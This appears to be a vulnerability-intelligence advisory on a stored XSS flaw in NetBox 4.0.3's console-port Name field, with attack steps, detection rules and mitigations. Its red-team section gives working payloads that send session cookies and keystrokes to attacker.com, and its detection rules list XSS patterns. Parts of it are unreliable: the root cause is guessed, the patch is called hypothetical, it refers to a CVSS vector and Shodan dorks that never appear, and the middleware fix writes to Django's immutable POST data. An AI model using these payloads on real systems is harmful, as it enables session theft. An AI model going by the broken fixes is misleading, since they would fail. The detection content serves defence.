CVE-2024-40738
Executive Summary
CVE-2024-40738 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in NetBox v4.0.3, an open-source IP address management (IPAM) and data center infrastructure management (DCIM) tool. The flaw resides in the Name parameter of the /dcim/console-ports/{id}/edit/ endpoint. An authenticated attacker with the ability to edit console ports can inject arbitrary JavaScript or HTML into the Name field. When an administrator or other user views the affected console port, the malicious script executes in their browser context, potentially leading to session hijacking, credential theft, or further lateral movement within the NetBox instance.
This vulnerability is unpatched as of the latest advisory, and no official fix has been released by the vendor. The CVSS score is 0.0 in the NVD data, but based on the enriched intel, a more realistic vector is provided above. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for internal deployments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
NetBox is a Python/Django application distributed via PyPI and GitHub. This vulnerability does not directly affect the supply chain (e.g., dependency poisoning), but it highlights the risk of using unpatched open-source software in production environments. Organizations should monitor for updates and consider temporary mitigations.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attacker can reach the vulnerable endpoint over the network.
- Attack Complexity (AC): Low (L) – No special conditions required; the attacker only needs to submit a crafted payload.
- Privileges Required (PR): Low (L) – The attacker must have an authenticated account with permission to edit console ports.
- User Interaction (UI): Required (R) – The victim must view the malicious console port page.
- Scope (S): Changed (C) – The XSS can impact resources beyond the vulnerable component (e.g., steal cookies from other pages).
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify data via XSS.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium (CVSS 5.4). The requirement for authentication and user interaction reduces the severity, but the stored nature of the XSS makes it persistent and dangerous in multi-tenant environments.
Deep Dive & Mechanics
The vulnerability exists in the dcim/views.py or similar view handling the ConsolePort model's edit form. The Name field is not properly sanitized or escaped before being stored in the database and later rendered in the HTML response. When a user navigates to /dcim/console-ports/{id}/edit/, the form pre-populates the Name field with the stored value. If the value contains malicious JavaScript (e.g., <script>alert('XSS')</script>), it is rendered as HTML without proper escaping.
The attack flow:
- Attacker logs into NetBox with an account that has
dcim.change_consoleportpermission. - Attacker navigates to
/dcim/console-ports/{id}/edit/and injects a payload into theNamefield, e.g.,<img src=x onerror=alert(document.cookie)>. - The payload is stored in the database.
- When an administrator or any user views the console port list or edit page, the payload executes in their browser.
The root cause is the lack of output encoding in the Django template. NetBox uses Django's template engine, which by default auto-escapes HTML, but if the developer used the safe filter or mark_safe() on the Name field, the XSS becomes possible.
Vulnerable vs. Patched Code
Vulnerable Code (NetBox v4.0.3):
In the template dcim/consoleport.html or similar:
<input type="text" name="name" value="{{ form.name.value }}" />
If form.name.value is not escaped, the payload is rendered directly.
Patched Code (Hypothetical):
<input type="text" name="name" value="{{ form.name.value|escape }}" />
Or using Django's {{ form.name }} which auto-escapes.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- NetBox v4.0.3 instance (e.g., Docker:
docker run -p 8000:8000 netboxcommunity/netbox:v4.0.3) - Authenticated user with
dcim.change_consoleportpermission.
Exploit Steps:
- Log in to NetBox.
- Navigate to
/dcim/console-ports/1/edit/(replace1with an existing console port ID). - In the
Namefield, inject the following payload:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Click "Save".
- When an admin views the console port list or edit page, the script executes, exfiltrating cookies.
Alternative Payload (Keylogger):
<input onfocus="document.addEventListener('keydown',function(e){fetch('https://attacker.com/k?k='+e.key)})" autofocus>
Blue Team (Detection & Hardening)
Detection:
- Monitor NetBox logs for unusual
Namefield values containing<script>,onerror,onload, etc. - Use WAF rules to block XSS payloads in POST requests to
/dcim/console-ports/*/edit/.
Hardening:
- Apply a virtual patch using a reverse proxy (e.g., Nginx) to filter XSS patterns:
location /dcim/console-ports/ { if ($request_method = POST) { set $xss 0; if ($request_body ~* "<script|onerror|onload") { set $xss 1; } if ($xss = 1) { return 403; } } } - Restrict
dcim.change_consoleportpermission to trusted users only. - Enable Content Security Policy (CSP) headers to mitigate XSS impact:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing
?cookie=or similar parameters. - POST requests to
/dcim/console-ports/*/edit/with payloads containing<script>,onerror,onload,javascript:.
- Outbound HTTP requests to attacker-controlled domains containing
Host IOCs:
- NetBox database entries in
dcim_consoleporttable withnamefield containing HTML/JavaScript. - Browser console errors or unexpected network requests from NetBox pages.
- NetBox database entries in
Log IOCs:
- NetBox access logs showing
POST /dcim/console-ports/1/edit/withHTTP_REFERERcontaining the edit page. - Django error logs if the payload causes a crash.
- NetBox access logs showing
Detection Engineering
YARA Rule
rule CVE_2024_40738_XSS_Payload {
meta:
description = "Detects XSS payloads targeting NetBox console port Name field"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-40738"
strings:
$xss1 = "<script" ascii wide nocase
$xss2 = "onerror=" ascii wide nocase
$xss3 = "onload=" ascii wide nocase
$xss4 = "javascript:" ascii wide nocase
$xss5 = "onfocus=" ascii wide nocase
condition:
any of ($xss*)
}
Sigma Rule
title: NetBox Console Port XSS Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS payloads in POST requests to NetBox console port edit endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: netbox
detection:
selection:
cs-method: POST
cs-uri-stem|startswith: '/dcim/console-ports/'
cs-uri-stem|endswith: '/edit/'
cs-request-body|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in name field (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-40738 NetBox Console Port XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/dcim/console-ports/"; http_uri; content:"/edit/"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/Pi"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint if not needed: Block POST requests to
/dcim/console-ports/*/edit/via WAF or reverse proxy. - Restrict permissions: Remove
dcim.change_consoleportfrom all non-admin users. - Apply virtual patch: Use the Nginx rule provided in the Blue Team section.
Long-Term Fix:
- Upgrade to a patched version once released by NetBox (monitor NetBox GitHub for updates).
- If using a fork, apply the patch manually by escaping the
Namefield in the template.
Workaround:
- Use a custom middleware to sanitize input:
# middleware.py import re from django.utils.deprecation import MiddlewareMixin class XSSSanitizerMiddleware(MiddlewareMixin): def process_request(self, request): if request.method == 'POST' and '/dcim/console-ports/' in request.path: if 'name' in request.POST: request.POST['name'] = re.sub(r'<[^>]*>', '', request.POST['name'])
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.